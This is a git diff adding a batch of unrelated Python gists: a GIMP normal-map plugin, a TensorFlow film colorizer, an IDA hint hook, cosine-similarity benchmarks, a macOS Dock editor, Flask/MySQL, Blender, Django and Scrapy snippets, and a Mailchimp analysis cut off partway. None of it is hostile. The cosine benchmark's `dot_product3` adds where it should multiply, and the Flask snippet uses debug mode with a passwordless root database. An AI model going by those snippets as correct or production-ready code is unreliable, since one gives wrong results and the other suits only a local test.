+		pdb.plug_in_normalmap(image, drawable, 0, 0.0, 1.0, 0, 0, 0, 8, 0, 0, 0, 0, 0.0, drawable)
+		pdb.gimp_layer_set_mode(drawable, 5)
+		pdb.gimp_image_merge_down(image, drawable, 0)
+
+def sharpen(image, diffuse, depth, filterSize, strength):
+	sharpnormal = pdb.gimp_layer_copy (diffuse, 1)
+	pdb.gimp_image_add_layer(image, sharpnormal, -1)
+	pdb.gimp_image_set_active_layer(image, sharpnormal)
+	
+	pdb.plug_in_normalmap(image, sharpnormal, 0, 0.0, depth, filterSize, 0, 0, 0, 0, 0, 1, 0, 0.0, sharpnormal)
+	#pdb.gimp_levels_stretch(sharpnormal)
+	pdb.gimp_image_set_active_layer(image, sharpnormal)
+	pdb.gimp_layer_set_mode(sharpnormal, 5)
+	pdb.gimp_layer_set_opacity(sharpnormal, strength)
+	pdb.gimp_image_raise_layer_to_top(image, sharpnormal)
+
+def shapeRecognise(image, normalmap, strength):
+	blurnormal = pdb.gimp_layer_copy (normalmap, 1)
+	pdb.gimp_image_add_layer(image, blurnormal, -1)
+	pdb.gimp_image_set_active_layer(image, blurnormal)
+	pdb.plug_in_gauss(image, blurnormal, 20, 20, 0)
+	pdb.plug_in_colors_channel_mixer(image, blurnormal, 0.0, 1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, -200.0)
+	pdb.plug_in_normalmap(image, blurnormal, 0, 0.0, 1.0, 0, 0, 0, 8, 0, 0, 0, 0, 0.0, blurnormal)
+	pdb.plug_in_colors_channel_mixer(image, blurnormal, 0.0, 1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, -200.0)
+	pdb.gimp_layer_set_mode(blurnormal, 5)
+	pdb.gimp_layer_set_opacity(blurnormal, strength)
+	
+def analyze(layer):
+	highlights = pdb.gimp_histogram(layer, 0, 179, 256)
+	midtones = pdb.gimp_histogram(layer, 0, 77, 178)
+	shadows = pdb.gimp_histogram(layer, 0, 0, 76)
+	f = open("/tmp/aidata.txt", "w")
+	f.write(str(int(shadows[0])) + " " + str(int(shadows[1])) + " " + str(int(shadows[5] * 100)) + " ")
+	f.write(str(int(midtones[0])) + " " + str(int(midtones[1])) + " " + str(int(midtones[5] * 100)) + " ")
+	f.write(str(int(highlights[0])) + " " + str(int(highlights[1])) + " " + str(int(highlights[5] * 100)) + " ")
+
+def doBaseMap(image, diffuse, depth, passes):
+	for i in range(passes):
+		newlayer = pdb.gimp_layer_copy (diffuse, 1)
+		pdb.gimp_image_add_layer(image, newlayer, -1)
+		pdb.gimp_image_set_active_layer(image, newlayer)
+		ok = float(i + 1) * (i + 1)
+		pdb.plug_in_gauss(image, newlayer, ok * 3, ok * 3, 0)
+		pdb.plug_in_normalmap(image, newlayer, 5, 0.0, depth * ok, 0, 0, 0, 0, 0, 0, 1, 0, 0.0, newlayer)
+		
+		if i > 0:
+			#pdb.gimp_layer_set_opacity(newlayer,50-(i*10))
+			pdb.gimp_layer_set_mode(newlayer, 5)
+			pdb.gimp_image_merge_down(image, newlayer, 0)
+			newlayer = pdb.gimp_image_get_active_layer(image)
+			pdb.plug_in_normalmap(image, newlayer, 0, 0.0, 1.0, 0, 0, 0, 8, 0, 0, 0, 0, 0.0, newlayer)
+	drawable = pdb.gimp_image_get_active_layer(image)
+	#newlayer=pdb.gimp_layer_copy (drawable, 1)
+	#pdb.gimp_image_add_layer(image,newlayer,-1)
+	#pdb.gimp_image_set_active_layer(image,newlayer)
+	#pdb.gimp_levels_stretch(newlayer)
+	#pdb.gimp_layer_set_opacity(newlayer,100)
+	#pdb.gimp_layer_set_mode(newlayer,5)
+	#pdb.gimp_image_merge_down(image,newlayer,0)		 
+		
+
+
+def batchnr(img, layer, rmlight, resize, seamless, rszmult, sedge, slevel,
+						depth, hpasses, mdetail, ldetails, shaperecog, smoothstep, invheight):
+
+	filename = pdb.gimp_image_get_filename(img)
+	mapnames = genFilenames(filename)
+	image = img
+	size = pdb.gimp_image_width(image)
+
+	if resize:
+		hiresimg = pdb.gimp_image_resize(image, rszmult * size, rszmult * size, 0, 0)
+		#hiresimg = pdb.gimp_file_load( getFilename(filename,"_hd"), filename)
+		drawable = pdb.gimp_image_get_active_layer(hiresimg)
+		noiselayer = pdb.gimp_layer_copy (drawable, 1)
+		pdb.gimp_image_add_layer(hiresimg, noiselayer, -1)
+		pdb.gimp_image_set_active_layer(hiresimg, noiselayer)
+		pdb.plug_in_rgb_noise(hiresimg, noiselayer, 1, 1, 0.20, 0.20, 0.20, 0)
+		#pdb.plug_in_blur(hiresimg,noiselayer)
+		pdb.gimp_layer_set_mode(noiselayer, 14)
+		pdb.gimp_image_merge_down(hiresimg, noiselayer, 0)
+		image = hiresimg
+		drawable = pdb.gimp_image_get_active_layer(image)
+		###########################analyze(drawable)
+
+	if rmlight:
+		removeShading(image)
+
+	diffuse = pdb.gimp_image_get_active_layer(image)
+	pdb.gimp_levels_stretch(diffuse)
+	if(seamless):
+		pdb.plug_in_make_seamless(image, diffuse)
+	pdb.gimp_file_save(image, diffuse, mapnames['diffuse'], mapnames['diffuse'])
+	
+	#drawable = pdb.gimp_image_get_active_layer(image)
+	#pdb.gimp_levels(drawable,0,64,128,1,0,255)
+	wsize = pdb.gimp_image_width(image)
+	hsize = pdb.gimp_image_width(image)
+	blur(image, diffuse, wsize, hsize, hpasses, 0)
+
+	normalmap = pdb.gimp_image_get_active_layer(image)
+	if smoothstep:
+		pdb.plug_in_blur(image, normalmap)
+	if invheight:
+		pdb.plug_in_vinvert(image, normalmap)
+		
+
+	pdb.gimp_file_save(image, normalmap, mapnames['height'], mapnames['height'])
+	
+
+	#lfnormal=pdb.gimp_layer_copy (diffuse, 1)
+	#pdb.gimp_image_add_layer(image,lfnormal,-1)
+	#pdb.gimp_image_raise_layer_to_top(image,lfnormal)
+	#pdb.plug_in_normalmap(image, lfnormal,8,0.0,depth,0,0,0,0,0,0,0,0,0.0,normalmap)
+	#blur(image,lfnormal,hpasses,1)
+	#normalmap = pdb.gimp_image_get_active_layer(image)
+	doBaseMap(image, diffuse, depth, hpasses)
+	normalmap = pdb.gimp_image_get_active_layer(image)
+	pdb.gimp_file_save(image, normalmap, mapnames['highdetail'], mapnames['highdetail'])
+
+
+	shapeRecognise(image, normalmap, shaperecog)
+	if smoothstep:
+		normalmap = pdb.gimp_image_get_active_layer(image)
+		pdb.plug_in_blur(image, normalmap)
+
+	saveLastOperation(image, mapnames['shaperecog'])
+	
+	sharpen(image, diffuse, depth, 0, ldetails)
+	normalmap = pdb.gimp_image_get_active_layer(image)
+	pdb.plug_in_sharpen(image, normalmap, 20)
+	saveLastOperation(image, mapnames['lowdetail'])
+					
+	sharpen(image, diffuse, depth, 6, mdetail)
+	normalmap = pdb.gimp_image_get_active_layer(image)
+	pdb.plug_in_blur(image, normalmap)
+	saveLastOperation(image, mapnames['mediumdetail'])
+	
+	pdb.gimp_drawable_set_visible(diffuse, 0)
+	pdb.gimp_image_merge_visible_layers(image, 0)
+	
+	drawable = pdb.gimp_image_get_active_layer(image)
+	pdb.plug_in_normalmap(image, drawable, 0, 0.0, 1.0, 0, 0, 0, 8, 0, 0, 0, 0, 0.0, drawable)
+	pdb.gimp_file_save(image, drawable, mapnames['normal'], mapnames['normal'])
+	pdb.plug_in_colors_channel_mixer(image, drawable, 0.0, -200.0, 0.0, 0.0, 0.0, -200.0, 0.0, 0.0, 0.0, 1.0)
+	pdb.gimp_desaturate(drawable)
+	pdb.gimp_levels_stretch(drawable)
+	pdb.gimp_file_save(image, drawable, mapnames['ambient'], mapnames['ambient'])
+	pdb.gimp_drawable_set_visible(diffuse, 1)
+	pdb.gimp_image_set_active_layer(image, diffuse)
+
+	specularEdge(image, mapnames['specular'], slevel, sedge)
+
+
+register(
+        "InsaneBump", "", "", "", "", "",
+        "<Image>/Filters/Map/Insane...", "",
+        [
+        (PF_TOGGLE,  "rmlight",    "Remove Lighting:",         FALSE),
+        (PF_TOGGLE,  "resize",     "Resize:",                  FALSE),
+        (PF_TOGGLE,  "seamless",   "Make Seamless:",           TRUE),
+        (PF_INT32,   "rszmult",    "Resize Multiplier:",       2),
+        (PF_TOGGLE,  "sedge",      "Edge Enhance Specular:",   TRUE),
+        (PF_SPINNER, "slevel",     "Specular Level:",          64, (0, 255, 1)),
+        (PF_FLOAT,   "depth",      "Depth (>0):",              20),
+        (PF_INT32,   "hpasses",    "Detail Pass Count:",       3),
+        (PF_SPINNER, "mdetail",    "Medium Detail Intensity:", 50, (0, 100, 1)),
+        (PF_SPINNER, "ldetails",   "Low Detail Intensity:",    50, (0, 100, 1)),
+        (PF_SPINNER, "shaperecog", "Shape Recognition:",       50, (0, 100, 1)),
+        (PF_TOGGLE,  "smoothstep", "Smooth Step:",             TRUE),
+        (PF_TOGGLE,  "invheight",  "Invert Height Map:",       FALSE),
+        ],
+        [],
+        batchnr
+        )
+
+main()
\ No newline at end of file
diff --git a/hard-gists/5baaf1d206cf5e81436d/._snippet.py b/hard-gists/5baaf1d206cf5e81436d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5baaf1d206cf5e81436d/._snippet.py differ
diff --git a/hard-gists/5baaf1d206cf5e81436d/snippet.py b/hard-gists/5baaf1d206cf5e81436d/snippet.py
new file mode 100644
index 00000000..1972d469
--- /dev/null
+++ b/hard-gists/5baaf1d206cf5e81436d/snippet.py
@@ -0,0 +1,71 @@
+# "Colorizing B/W Movies with Neural Nets", 
+# Network/Code Created by Ryan Dahl, hacked by samim.io to work with movies 
+# BACKGROUND: http://tinyclouds.org/colorize/
+# DEMO: https://www.youtube.com/watch?v=_MJU8VK2PI4
+# USAGE:
+# 1. Download TensorFlow model from: http://tinyclouds.org/colorize/
+# 2. Use FFMPEG or such to extract frames from video.
+# 3. Make sure your images are 224x224 pixels dimension. You can use imagemagicks "mogrify", here some useful commands:
+# mogrify -resize 224x224 *.jpg
+# mogrify -gravity center -background black -extent 224x224 *.jpg
+# mogrify -colorspace sRGB -type TrueColor *.jpg
+# 4. Create a directory "kidframe" next to this python file, put your extracted video frames inside. 
+# 5. Make sure to have a directory called "out" next to it. Inside "out" a second directory analogue to first ("kidframe")-
+# 6. Run: python forward.py
+# 7. Grab your rendered frames at "out/kidframe/xxx0001.jpg". 
+# 8. Recombine frames with FFMPEG, e.g:
+# cat *.jpg | ffmpeg -f image2pipe -r 25 -vcodec mjpeg -i - -vcodec libx264 out.mp4
+
+import tensorflow as tf
+import skimage.transform
+from skimage.io import imsave, imread
+import os
+from os import listdir, path
+from os.path import isfile, join
+
+def get_directory(folder):
+    foundfile = []
+
+    for path, subdirs, files in os.walk(folder):
+        for name in files:
+            found = os.path.join(path, name)
+            if name.endswith('.jpg'):
+                foundfile.append(found)
+        break
+
+    foundfile.sort()
+    return foundfile
+
+def load_image(path):
+    img = imread(path)
+    # crop image from center
+    short_edge = min(img.shape[:2])
+    yy = int((img.shape[0] - short_edge) / 2)
+    xx = int((img.shape[1] - short_edge) / 2)
+    crop_img = img[yy : yy + short_edge, xx : xx + short_edge]
+    # resize to 224, 224
+    img = skimage.transform.resize(crop_img, (224, 224))
+    # desaturate image
+    return (img[:,:,0] + img[:,:,1] + img[:,:,2]) / 3.0
+
+with open("colorize.tfmodel", mode='rb') as f:
+    fileContent = f.read()
+
+    graph_def = tf.GraphDef()
+    graph_def.ParseFromString(fileContent)
+    grayscale = tf.placeholder("float", [1, 224, 224, 1])
+    tf.import_graph_def(graph_def, input_map={ "grayscale": grayscale }, name='')
+
+images = get_directory("kidframes")
+
+for image in images:
+    print image
+    shark_gray = load_image(image).reshape(1, 224, 224, 1)
+
+    with tf.Session() as sess:
+        inferred_rgb = sess.graph.get_tensor_by_name("inferred_rgb:0")
+        inferred_batch = sess.run(inferred_rgb, feed_dict={ grayscale: shark_gray })
+        filename = "out/"+image
+        imsave(filename, inferred_batch[0])
+        print "saved " + filename
+    #sess.close()
\ No newline at end of file
diff --git a/hard-gists/5bcffaac23236a78ea14/._snippet.py b/hard-gists/5bcffaac23236a78ea14/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5bcffaac23236a78ea14/._snippet.py differ
diff --git a/hard-gists/5bcffaac23236a78ea14/snippet.py b/hard-gists/5bcffaac23236a78ea14/snippet.py
new file mode 100644
index 00000000..77713f87
--- /dev/null
+++ b/hard-gists/5bcffaac23236a78ea14/snippet.py
@@ -0,0 +1,15 @@
+#
+# Show a hint when the user has his mouse on an instruction
+#
+import idaapi
+import idautils
+
+class Hooks(idaapi.UI_Hooks):
+    def get_custom_viewer_hint(self, view, place):
+        insn = idautils.DecodeInstruction(place.toea())
+        if insn:
+            hint = "Instruction is a: %s" % insn.get_canon_mnem()
+            return (hint, 1)
+
+myHook = Hooks()
+myHook.hook()
\ No newline at end of file
diff --git a/hard-gists/5bfad28ceb3a484dfd2a/._snippet.py b/hard-gists/5bfad28ceb3a484dfd2a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5bfad28ceb3a484dfd2a/._snippet.py differ
diff --git a/hard-gists/5bfad28ceb3a484dfd2a/snippet.py b/hard-gists/5bfad28ceb3a484dfd2a/snippet.py
new file mode 100644
index 00000000..709ec7be
--- /dev/null
+++ b/hard-gists/5bfad28ceb3a484dfd2a/snippet.py
@@ -0,0 +1,120 @@
+# coding: utf-8
+'''
+In [1]: import cos
+
+In [2]: u = cos.u
+
+In [3]: v = cos.v
+
+In [4]: timeit cos.vector_cos(u, v)
+10000 loops, best of 3: 56 µs per loop
+
+In [5]: timeit cos.vector_cos2(u, v)
+10000 loops, best of 3: 72.2 µs per loop
+
+In [6]: timeit cos.vector_cos3(u, v)
+1000 loops, best of 3: 348 µs per loop
+
+In [7]: timeit cos.vector_cos4(u, v)
+10000 loops, best of 3: 139 µs per loop
+
+In [8]: timeit cos.vector_cos5(u, v)
+10000 loops, best of 3: 48 µs per loop
+
+In [9]: timeit cos.vector_cos6(u, v)
+10000 loops, best of 3: 59.4 µs per loop
+'''
+import math
+import random
+import operator
+import itertools
+from scipy.spatial.distance import cosine as _vector_cos2
+from sklearn.metrics.pairwise import cosine_similarity as _vector_cos3
+
+####
+
+def vector_dot(a, b):
+    s = 0.0
+    for i in range(len(a)):
+        s += (a[i] * b[i])
+    return s
+
+
+def vector_length(a):
+    return math.sqrt(vector_dot(a, a))
+
+
+def vector_cos(a, b):
+    return vector_dot(a, b) / (vector_length(a) * vector_length(b))
+
+
+####
+
+def vector_cos2(u, v):
+    return 1.0 - _vector_cos2(u, v)
+
+
+####
+
+def vector_cos3(u, v):
+    return _vector_cos3(u, v)[0][0]
+    
+
+####
+
+def dot_product(v1, v2):
+    return sum(map(lambda x: x[0] * x[1], itertools.izip(v1, v2)))
+
+
+def vector_cos4(v1, v2):
+    prod = dot_product(v1, v2)
+    len1 = math.sqrt(dot_product(v1, v1))
+    len2 = math.sqrt(dot_product(v2, v2))
+    return prod / (len1 * len2)
+
+
+####
+
+def dot_product2(v1, v2):
+    return sum(map(operator.mul, v1, v2))
+
+
+def vector_cos5(v1, v2):
+    prod = dot_product2(v1, v2)
+    len1 = math.sqrt(dot_product2(v1, v1))
+    len2 = math.sqrt(dot_product2(v2, v2))
+    return prod / (len1 * len2)
+
+u = [random.random() for i in range(100)]
+v = [random.random() for i in range(100)]
+
+
+####
+
+def dot_product3(v1, v2):
+    return sum(
+        (a + b for (a, b) in itertools.izip(v1, v2)),
+        0
+    )
+
+
+def vector_cos6(v1, v2):
+    prod = dot_product3(v1, v2)
+    len1 = math.sqrt(dot_product3(v1, v1))
+    len2 = math.sqrt(dot_product3(v2, v2))
+    return prod / (len1 * len2)
+
+
+u = [random.random() for i in range(100)]
+v = [random.random() for i in range(100)]
+
+def main():
+    for fn in [
+        vector_cos, vector_cos2, vector_cos3,
+        vector_cos4, vector_cos5
+    ]:
+        print fn.__name__, fn(u, v)
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/5c422d709c93615341a21009f800222e/._snippet.py b/hard-gists/5c422d709c93615341a21009f800222e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5c422d709c93615341a21009f800222e/._snippet.py differ
diff --git a/hard-gists/5c422d709c93615341a21009f800222e/snippet.py b/hard-gists/5c422d709c93615341a21009f800222e/snippet.py
new file mode 100644
index 00000000..c75c4e53
--- /dev/null
+++ b/hard-gists/5c422d709c93615341a21009f800222e/snippet.py
@@ -0,0 +1,151 @@
+'''Routines for manipulating the Dock'''
+
+import os
+import subprocess
+
+from Foundation import NSURL
+from Foundation import CFPreferencesAppSynchronize
+from Foundation import CFPreferencesCopyAppValue
+from Foundation import CFPreferencesSetAppValue
+
+class DockError(Exception):
+    '''Basic exception'''
+    pass
+
+class Dock():
+    '''Class to handle Dock operations'''
+    _DOMAIN = 'com.apple.dock'
+    _DOCK_PLIST = os.path.expanduser(
+        '~/Library/Preferences/com.apple.dock.plist')
+    _DOCK_LAUNCHAGENT_ID = 'com.apple.Dock.agent'
+    _DOCK_LAUNCHAGENT_FILE = '/System/Library/LaunchAgents/com.apple.Dock.plist'
+    _SECTIONS = ['persistent-apps', 'persistent-others']
+    items = {}
+    
+    def __init__(self):
+        for key in self._SECTIONS:
+            try:
+                section = CFPreferencesCopyAppValue(key, self._DOMAIN)
+                self.items[key] = section.mutableCopy()
+            except Exception:
+                raise
+
+    def save(self):
+        '''saves our (modified) Dock preferences'''
+        # unload Dock launchd job so we can make our changes unmolested
+        subprocess.call(
+            ['/bin/launchctl', 'unload', self._DOCK_LAUNCHAGENT_FILE])
+        
+        for key in self._SECTIONS:
+            try:
+                CFPreferencesSetAppValue(key, self.items[key], self._DOMAIN)
+            except Exception:
+                raise DockError
+        if not CFPreferencesAppSynchronize(self._DOMAIN):
+            raise DockError
+
+        # restart the Dock
+        subprocess.call(['/bin/launchctl', 'load', self._DOCK_LAUNCHAGENT_FILE])
+        subprocess.call(['/bin/launchctl', 'start', self._DOCK_LAUNCHAGENT_ID])
+    
+    def findExistingLabel(self, test_label, section='persistent-apps'):
+        '''returns index of item with label matching test_label
+            or -1 if not found'''
+        for index in range(len(self.items[section])):
+            if (self.items[section][index]['tile-data'].get('file-label') ==
+                test_label):
+                return index
+        return -1
+
+    def removeDockEntry(self, label, section=None):
+        '''Removes a Dock entry with matching label, if any'''
+        if section:
+            sections = [section]
+        else:
+            sections = self._SECTIONS
+        for section in sections:
+            found_index = self.findExistingLabel(label, section=section)
+            if found_index > -1:
+                del self.items[section][found_index]
+
+    def replaceDockEntry(self, thePath, label=None, section='persistent-apps'):
+        '''Replaces a Dock entry. If label is None, then a label is derived
+            from the item path. The new entry replaces an entry with the given 
+            or derived label'''
+        if section == 'persistent-apps':
+            new_item = self.makeDockAppEntry(thePath)
+        else:
+            new_item = self.makeDockOtherEntry(thePath)
+        if new_item:
+            if not label:
+                label = os.path.splitext(os.path.basename(thePath))[0]
+            found_index = self.findExistingLabel(label, section=section)
+            if found_index > -1:
+                self.items[section][found_index] = new_item
+
+    def makeDockAppEntry(self, thePath):
+        '''returns a dictionary corresponding to a Dock application item'''
+        label_name = os.path.splitext(os.path.basename(thePath))[0]
+        ns_url = NSURL.fileURLWithPath_(thePath).absoluteString()
+        return {'tile-data': {'file-data': {'_CFURLString': ns_url,
+                                            '_CFURLStringType': 15},
+                              'file-label': label_name,
+                              'file-type': 41},
+                'tile-type': 'file-tile'}
+
+    def makeDockOtherEntry(self, thePath,
+                           arrangement=0, displayas=1, showas=0):
+        '''returns a dictionary corresponding to a Dock folder or file item'''
+        # arrangement values:
+        #     1: sort by name
+        #     2: sort by date added
+        #     3: sort by modification date
+        #     4: sort by creation date
+        #     5: sort by kind
+        #
+        # displayas values:
+        #     0: display as stack
+        #     1: display as folder
+        #
+        # showas values:
+        #     0: auto
+        #     1: fan
+        #     2: grid
+        #     3: list
+        
+        label_name = os.path.splitext(os.path.basename(thePath))[0]
+        if arrangement == 0:
+            if label_name == 'Downloads':
+                # set to sort by date added
+                arrangement = 2
+            else:
+                # set to sort by name
+                arrangement = 1
+        ns_url = NSURL.fileURLWithPath_(thePath).absoluteString()
+        if os.path.isdir(thePath):
+            return {'tile-data':{'arrangement': arrangement,
+                                 'displayas': displayas,
+                                 'file-data':{'_CFURLString': ns_url,
+                                              '_CFURLStringType': 15},
+                                 'file-label': label_name,
+                                 'dock-extra': False,
+                                 'showas': showas
+                                 },
+                    'tile-type':'directory-tile'}
+        else:
+            return {'tile-data':{'file-data':{'_CFURLString': ns_url,
+                                              '_CFURLStringType': 15},
+                                 'file-label': label_name,
+                                 'dock-extra': False},
+                    'tile-type':'file-tile'}
+
+
+# example use
+dock = Dock()
+
+persistent_apps = dock.items['persistent-apps']
+chess_app = dock.makeDockAppEntry("/Applications/Chess.app")
+persistent_apps.append(chess_app)
+dock.items['persistent-apps'] = persistent_apps
+
+dock.save()
\ No newline at end of file
diff --git a/hard-gists/5c4fd516ad174c7f443fcad9090a2d1f/._snippet.py b/hard-gists/5c4fd516ad174c7f443fcad9090a2d1f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5c4fd516ad174c7f443fcad9090a2d1f/._snippet.py differ
diff --git a/hard-gists/5c4fd516ad174c7f443fcad9090a2d1f/snippet.py b/hard-gists/5c4fd516ad174c7f443fcad9090a2d1f/snippet.py
new file mode 100644
index 00000000..e026e848
--- /dev/null
+++ b/hard-gists/5c4fd516ad174c7f443fcad9090a2d1f/snippet.py
@@ -0,0 +1,39 @@
+#!/Users/username/Documents/python/projectname/env/bin/python
+
+# edit line 1 to match what YOU get when you are in YOUR virtualenv and type:  which python
+# NO SPACES in first 3 chars in line 1:  #!/
+# make sure env is activated! 
+# make sure you have "started all" in XAMPP! 
+# code below works for a MySQL database in XAMPP on Mac OS
+# pymysql can be installed with pip: pip install PyMySQL
+
+import pymysql
+from flask import Flask, render_template, session, redirect, url_for
+from flask.ext.bootstrap import Bootstrap
+from flask.ext.sqlalchemy import SQLAlchemy
+
+app = Flask(__name__)
+app.config['SECRET_KEY'] = 'some secret string here'
+
+userpass = 'mysql+pymysql://root:@'
+basedir  = '127.0.0.1'
+dbname   = '/nameofdatabase'
+socket   = '?unix_socket=/Applications/XAMPP/xamppfiles/var/mysql/mysql.sock'
+dbname   = dbname + socket
+app.config['SQLALCHEMY_DATABASE_URI'] = userpass + basedir + dbname
+
+app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
+
+bootstrap = Bootstrap(app)
+db = SQLAlchemy(app)
+
+# this route will test the database connection and nothing more
+@app.route('/')
+def testdb():
+    if db.session.query('1').from_statement('SELECT 1').all():
+        return 'It works.'
+    else:
+        return 'Something is broken.'
+
+if __name__ == '__main__':
+    app.run(debug=True)
diff --git a/hard-gists/5c973ec1b5ab2e387646/._snippet.py b/hard-gists/5c973ec1b5ab2e387646/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5c973ec1b5ab2e387646/._snippet.py differ
diff --git a/hard-gists/5c973ec1b5ab2e387646/snippet.py b/hard-gists/5c973ec1b5ab2e387646/snippet.py
new file mode 100644
index 00000000..b9d3222f
--- /dev/null
+++ b/hard-gists/5c973ec1b5ab2e387646/snippet.py
@@ -0,0 +1,28 @@
+import bpy
+from bpy.app.handlers import persistent
+
+bl_info = {
+    "name": "Playback Once",
+    "author": "Adhi Hargo",
+    "version": (1, 0, 0),
+    "blender": (2, 67, 3),
+    "location": "",
+    "description": "Playback once.",
+    "warning": "",
+    "wiki_url": "",
+    "tracker_url": "",
+    "category": "Animation"}
+
+@persistent
+def stopPlaybackAtEnd(scene):
+    if scene.frame_current >= scene.frame_end:
+        bpy.ops.screen.animation_cancel()
+
+def register():
+    bpy.app.handlers.frame_change_pre.append(stopPlaybackAtEnd)
+
+def unregister():
+    bpy.app.handlers.frame_change_pre.remove(stopPlaybackAtEnd)
+    
+if __name__ == "__main__":
+    register()
diff --git a/hard-gists/5ce8bb1f4c55d17b5b25/._snippet.py b/hard-gists/5ce8bb1f4c55d17b5b25/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5ce8bb1f4c55d17b5b25/._snippet.py differ
diff --git a/hard-gists/5ce8bb1f4c55d17b5b25/snippet.py b/hard-gists/5ce8bb1f4c55d17b5b25/snippet.py
new file mode 100644
index 00000000..4b004555
--- /dev/null
+++ b/hard-gists/5ce8bb1f4c55d17b5b25/snippet.py
@@ -0,0 +1,11 @@
+from django.contrib.sessions.models import Session
+for s in Session.objects.iterator():
+    session_dict = s.get_decoded()
+    if '_auth_user_backend' in session_dict.keys():
+        #New backend is social.backends.facebook.FacebookOAuth2
+        #Change from old backend
+        if session_dict['_auth_user_backend'] == 'social_auth.backends.facebook.FacebookBackend':
+            session_dict['_auth_user_backend'] = 'social.backends.facebook.FacebookOAuth2'
+            new_s = Session.objects.save(s.session_key, session_dict, s.expire_date)
+            print new_s.pk
+
diff --git a/hard-gists/5cf3163e0d77275870bf/._snippet.py b/hard-gists/5cf3163e0d77275870bf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5cf3163e0d77275870bf/._snippet.py differ
diff --git a/hard-gists/5cf3163e0d77275870bf/snippet.py b/hard-gists/5cf3163e0d77275870bf/snippet.py
new file mode 100644
index 00000000..787294d0
--- /dev/null
+++ b/hard-gists/5cf3163e0d77275870bf/snippet.py
@@ -0,0 +1,80 @@
+""" pipelines.py """
+import collections
+import scrapy
+import scrapy.contrib.exporter
+import myproject
+
+
+class SitemapPipeline(object):
+    """
+    Sitemap builder
+
+    Wait until all items have been scraped and then build a complete sitemap of
+    all URLs and add it to the Items.
+    """
+    items = []
+
+    def __init__(self):
+        self.exporter = scrapy.contrib.exporter.PythonItemExporter(
+            fields_to_export=('url', 'depth', 'referer'))
+
+    @classmethod
+    def from_crawler(cls, crawler):
+        pipeline = cls()
+        pipeline.crawler = crawler
+
+        crawler.signals.connect(
+            pipeline._spider_idle_handler, scrapy.signals.spider_idle)
+
+        return pipeline
+
+    def _spider_idle_handler(self, spider):
+        self.crawler.signals.disconnect(
+            self._spider_idle_handler, scrapy.signals.spider_idle)
+
+        self._process_tree(spider)
+
+    def _process_tree(self, spider):
+        sitemap = self._get_sitemap()
+        self._add_sitemap_item(sitemap, spider)
+
+    def _get_sitemap(self):
+        sitemap = []
+
+        def add_nodes(depth, referers):
+            """ Recursive """
+            _depth = depth + 1
+            for referer in referers:
+                referer_key = '{}{}{}'.format(_depth, '-'*_depth, referer)
+                sitemap_key = '{}{}{}'.format(_depth-1, '-'*(_depth-1), referer)
+                sitemap.append(sitemap_key)
+                add_nodes(_depth, referers_map[referer_key])
+
+        max_depth = 0
+        root_nodes = []
+        for d in self.items:
+            depth = d['depth']
+            if depth > max_depth:
+                max_depth = depth
+            if depth == 1:
+                root_nodes.append(d['url'])
+
+        referers_map = collections.defaultdict(list)
+        for d in self.items:
+            if 'referer' in d:
+                referer_key = '{}{}{}'.format(d['depth'], '-'*d['depth'], d['referer'])
+                referers_map[referer_key].append(d['url'])
+
+        add_nodes(1, root_nodes)
+
+        return sitemap
+
+    def _add_sitemap_item(self, sitemap, spider):
+        request = response = None
+        scraper = self.crawler.engine.scraper
+        item = myproject.items.SitemapItem(dict(sitemap=sitemap))
+        scraper._process_spidermw_output(item, request, response, spider)
+
+    def process_item(self, item, spider):
+        self.items.append(self.exporter.export_item(item))
+        return item
diff --git a/hard-gists/5d7c8763d1345eedee4408e2392bc5e0/._snippet.py b/hard-gists/5d7c8763d1345eedee4408e2392bc5e0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5d7c8763d1345eedee4408e2392bc5e0/._snippet.py differ
diff --git a/hard-gists/5d7c8763d1345eedee4408e2392bc5e0/snippet.py b/hard-gists/5d7c8763d1345eedee4408e2392bc5e0/snippet.py
new file mode 100644
index 00000000..3759b786
--- /dev/null
+++ b/hard-gists/5d7c8763d1345eedee4408e2392bc5e0/snippet.py
@@ -0,0 +1,98 @@
+# -*- coding: utf-8 -*-
+"""
+Created on Sun Jun  5 18:55:20 2016
+
+@author: cpard
+"""
+from sqlalchemy import create_engine
+import pandas as padas
+import numpy as np
+import statsmodels.api as sm
+
+engine = create_engine('postgresql://USERNAME:PASSWORD@HOST:PORT/DBNAME')
+
+joinedQuery = """select * from (select  c_campaign_id, rec_list_id, email_address as c_email_address, send_time as c_send_time, c_title from 
+(select distinct id as c_campaign_id, recipients_list_id as rec_list_id, send_time, settings_title as c_title from mailchimp_new_campaigns) n 
+inner join mailchimp_new_list_members on 
+(n.rec_list_id = mailchimp_new_list_members.list_id and mailchimp_new_list_members.timestamp_opt <= n.send_time)) m 
+full outer join (select e_campaign_id, e_email_address, sub_settings_title as e_settings_title, action as e_action, e_send_time from (select distinct campaign_id as e_campaign_id, email_address as e_email_address, action from mailchimp_new_report_email_activity where action = 'open') n
+ join (select distinct id as sub_c_id, settings_title as sub_settings_title, send_time as e_send_time from mailchimp_new_campaigns) m on (m.sub_c_id = n.e_campaign_id)) k 
+on(m.c_campaign_id = k.e_campaign_id and m.c_email_address = k.e_email_address) order by m.c_campaign_id"""
+
+domains = [] # an array acting as an authority list of email addresses that we know 
+             # that they are used for personal don't forget to add your own here e.g. ['gmail', 'yahoo', 'outlook']
+ 
+mailCampaignData = padas.read_sql_query(joinedQuery,engine)
+
+def hasOpened(st):
+    res = 0    
+    if st == 'open':
+        res = 1
+    return res
+     
+def isBlog(st):
+    res = 0
+    if 'New Post' in st:
+        res = 1
+    return res
+   
+def isBusiness(st):
